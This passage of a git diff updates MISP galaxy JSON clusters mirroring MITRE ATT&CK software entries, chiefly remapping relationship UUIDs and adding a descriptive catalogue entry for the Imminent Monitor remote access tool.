[ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "aecc0097-c9f8-4786-9b39-e891ff173f54", + "value": "EventBot - S0478" } ], - "version": 18 + "version": 19 } diff --git a/clusters/mitre-tool.json b/clusters/mitre-tool.json index c4c5182..002107d 100644 --- a/clusters/mitre-tool.json +++ b/clusters/mitre-tool.json @@ -27,7 +27,7 @@ }, "related": [ { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -56,7 +56,7 @@ }, "related": [ { - "dest-uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -97,7 +97,7 @@ "type": "similar" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -125,14 +125,14 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -153,63 +153,56 @@ "type": "uses" }, { - "dest-uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "00d0b012-8a03-410e-95de-5826bf542de6", + "dest-uuid": "b0533c6e-8fea-4788-874f-b799cacc4b92", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "dest-uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c3bce4f4-9795-46c6-976e-8676300bbc39", + "dest-uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "2db31dcd-54da-405d-acef-b9129b816ed6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -237,7 +230,7 @@ "type": "uses" }, { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -251,7 +244,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -272,14 +265,14 @@ "type": "uses" }, { - "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -293,21 +286,21 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -328,7 +321,7 @@ "type": "uses" }, { - "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", + "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -342,7 +335,7 @@ "type": "uses" }, { - "dest-uuid": "772bc7a8-a157-42cc-8728-d648e25c7fe7", + "dest-uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -356,7 +349,56 @@ "type": "uses" }, { - "dest-uuid": "9ddc2534-e91c-4dab-a8f6-43dab81e8142", + "dest-uuid": "93591901-3172-4e94-abf8-6034ab26f44a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8cdeb020-e31e-4f88-a582-f53dcfbda819", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -366,6 +408,138 @@ "uuid": "aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", "value": "Cobalt Strike - S0154" }, + { + "description": "[Imminent Monitor](https://attack.mitre.org/software/S0434) was a commodity remote access tool (RAT) offered for sale from 2012 until 2019, when an operation was conducted to take down the Imminent Monitor infrastructure. Various cracked versions and variations of this RAT are still in circulation.(Citation: Imminent Unit42 Dec2019)", + "meta": { + "external_id": "S0434", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0434", + "https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/" + ], + "synonyms": [ + "Imminent Monitor" + ] + }, + "related": [ + { + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cd25c1b4-935c-4f0e-ba8d-552f28bc4783", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "8f8cd191-902c-4e83-bf20-b57c8c4640e9", + "value": "Imminent Monitor - S0434" + }, { "description": "[Invoke-PSImage](https://attack.mitre.org/software/S0231) takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)", "meta": { @@ -446,21 +620,21 @@ "type": "similar" }, { - "dest-uuid": "6c174520-beea-43d9-aac6-28fb77f3e446", + "dest-uuid": "5095a853-299c-4876-abd7-ac0050fb5462", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1df0326d-2fbc-4d08-a16b-48365f1e742d", + "dest-uuid": "b7dc639b-24cd-482d-a7f1-8897eda21023", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -474,21 +648,14 @@ "type": "uses" }, { - "dest-uuid": "56ff457d-5e39-492b-974c-dfd2b8603ffe", + "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c", + "dest-uuid": "7b211ac6-c815-4189-93a9-ab415deca926", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -502,7 +669,56 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d273434a-448e-4598-8e14-607f4a0d5e27", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "768dce68-8d0d-477a-b01d-0eea98b963a1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f303a39a-6255-4b89-aecc-18c4d8ca7163", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -580,7 +796,7 @@ }, "related": [ { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -614,7 +830,14 @@ "type": "similar" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -644,7 +867,7 @@ }, "related": [ { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -698,7 +921,7 @@ }, "related": [ { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -821,14 +1044,14 @@ }, "related": [ { - "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -866,21 +1089,21 @@ }, "related": [ { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -899,6 +1122,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "bba595da-b73a-4354-aa6c-224d4de7cb4e", @@ -922,7 +1152,7 @@ }, "related": [ { - "dest-uuid": "d519cfd5-f3a8-43a9-a846-ed0bb40672b1", + "dest-uuid": "c615231b-f253-4f58-9d47-d5b4cbdb6839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -964,14 +1194,14 @@ }, "related": [ { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -985,7 +1215,7 @@ "type": "uses" }, { - "dest-uuid": "bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2", + "dest-uuid": "f63fe421-b1d1-45c0-b8a7-02cd16ff2bed", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1012,7 +1242,7 @@ }, "related": [ { - "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1031,6 +1261,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "64764dc6-a032-495f-8250-1e4c06bdc163", @@ -1054,14 +1291,14 @@ }, "related": [ { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1075,21 +1312,21 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1117,7 +1354,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1138,35 +1375,35 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec", + "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1185,6 +1422,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "c8655260-9f4b-44e3-85e1-6538a5f6e4f4", @@ -1215,14 +1459,21 @@ "type": "similar" }, { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1251,7 +1502,7 @@ }, "related": [ { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1265,28 +1516,28 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1328,7 +1579,28 @@ "type": "uses" }, { - "dest-uuid": "e7eab98d-ae11-4491-bd28-a53ba875865a", + "dest-uuid": "a750a9f6-0bde-4bb3-9aae-1e2786e9780c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7610cada-1499-41a4-b3dd-46467b68d177", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1363,14 +1635,21 @@ "type": "uses" }, { - "dest-uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d", + "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1554,7 +1833,7 @@ "type": "uses" }, { - "dest-uuid": "2edd9d6a-5674-4326-a600-ba56de467286", + "dest-uuid": "341e222a-a6e3-4f6f-b69c-831d792b1580", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1595,7 +1874,7 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1639,7 +1918,7 @@ "type": "uses" }, { - "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1755,7 +2034,7 @@ }, "related": [ { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1782,7 +2061,7 @@ }, "related": [ { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1816,7 +2095,7 @@ "type": "similar" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1843,7 +2122,7 @@ }, "related": [ { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1878,7 +2157,7 @@ "type": "similar" }, { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1905,7 +2184,7 @@ }, "related": [ { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1942,7 +2221,7 @@ "type": "similar" }, { - "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1956,28 +2235,28 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1998,21 +2277,21 @@ "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2026,28 +2305,28 @@ "type": "uses" }, { - "dest-uuid": "0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", + "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "dest-uuid": "1e9eb839-294b-48cc-b0d3-c45555a2a004", 